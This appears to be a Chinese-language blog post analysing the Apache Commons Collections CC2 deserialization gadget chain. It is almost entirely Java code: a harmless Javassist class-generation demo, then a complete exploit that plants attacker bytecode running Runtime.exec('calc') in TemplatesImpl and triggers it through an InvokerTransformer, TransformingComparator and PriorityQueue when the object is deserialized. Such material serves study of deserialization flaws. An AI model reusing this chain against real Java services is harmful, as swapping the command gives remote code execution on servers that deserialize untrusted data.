commons-collections反序列化利用链分析（2）

package ysoserial.javassist;import javassist.*;import java.lang.reflect.Method;
public class TestJavassist {      public static void createStudent() throws Exception {       // 获取默认ClassPool       ClassPool pool = ClassPool.getDefault();
       // 创建一个空类
       CtClass cc = pool.makeClass("ysoserial.javassist.Student");
       // 添加name字段       CtField param = new CtField(pool.get("java.lang.String"), "name", cc);       // 设置name字段访问权限为private       param.setModifiers(Modifier.PRIVATE);       // name字段添加初始值xiaoming       cc.addField(param, CtField.Initializer.constant("xiaoming"));
       // 生成 getter、setter 方法       cc.addMethod(CtNewMethod.setter("setName", param));       cc.addMethod(CtNewMethod.getter("getName", param));
       // 添加无参的构造函数       CtConstructor cons = new CtConstructor(new CtClass[]{}, cc);       cons.setBody("{name = "xiaohong";}");       cc.addConstructor(cons);
       //添加有参的构造函数       cons = new CtConstructor(new CtClass[]{pool.get("java.lang.String")}, cc);       // $0=this / $1,$2,$3... 代表方法参数       cons.setBody("{$0.name = $1;}");       cc.addConstructor(cons);
       // 创建一个名为printName方法，无参数，无返回值，输出name值       CtMethod ctMethod = new CtMethod(CtClass.voidType, "printName", new CtClass[]{}, cc);       ctMethod.setModifiers(Modifier.PUBLIC);       ctMethod.setBody("{System.out.println(name);}");       cc.addMethod(ctMethod);
       Class cla = cc.toClass();       Object student = cla.newInstance();       student.getClass();//       Object student = cc.toClass().newInstance();       Method setName = student.getClass().getMethod("setName", String.class);       setName.invoke(student, "");       // 输出值       Method execute = student.getClass().getMethod("printName");       execute.invoke(student);
  }
   public static void main(String[] args) {       try {           createStudent();      } catch (Exception e) {           e.printStackTrace();      }  }}

package ysoserial.payloads;
import javassist.ClassPool;import javassist.CtClass;import org.apache.commons.collections4.comparators.TransformingComparator;import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.PriorityQueue;

public class Common_CC2 {   public static void main(String[] args) throws Exception {       String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";       String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
       ClassPool classPool=ClassPool.getDefault(); //返回默认的classpool       classPool.appendClassPath(AbstractTranslet); //添加AbstractTranslet的搜索路径       CtClass payload=classPool.makeClass("CommonsCollections22222222222");//創建一個新的public類       payload.setSuperclass(classPool.get(AbstractTranslet));  //设置创建的CommonsCollections22222222222类的父类为AbstractTranslet       payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec("calc");"); //创建类的初始化代码块，在代码块里执行命令
//       payload.writeFile("E:/ysoserial-master/src/main/java/");
       byte[] bytes=payload.toBytecode();//转换为byte数组
       Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射創建TemplatesImpl       Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段       field.setAccessible(true);       field.set(templatesImpl,new byte[][]{bytes});//將templatesImpl上的_bytecodes字段設置為runtime的byte數組
       Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射獲取templatesImpl的_name字段       field1.setAccessible(true);       field1.set(templatesImpl,"test");//將templatesImpl上的_name字段設置為test
       InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});       TransformingComparator comparator =new TransformingComparator(transformer);//使用TransformingComparator修飾器傳入transformer對象

      PriorityQueue queue = new PriorityQueue(2);//使用指定的初始容量創建一個 PriorityQueue，並根據其自然順序對元素進行排序。       queue.add(1);//添加數字1插入此優先級隊列       queue.add(1);//添加數字1插入此優先級隊列
       Field field2=queue.getClass().getDeclaredField("comparator");//获取PriorityQueue的comparator字段       field2.setAccessible(true);       field2.set(queue,comparator);//設置queue的comparator字段值為comparator
       Field field3=queue.getClass().getDeclaredField("queue");//獲取queue的queue字段       field3.setAccessible(true);       field3.set(queue,new Object[]{templatesImpl,templatesImpl});//設置queue的queue字段內容Object數組，內容為templatesImpl
       ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));       outputStream.writeObject(queue);       outputStream.close();
       ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));       inputStream.readObject();
  }}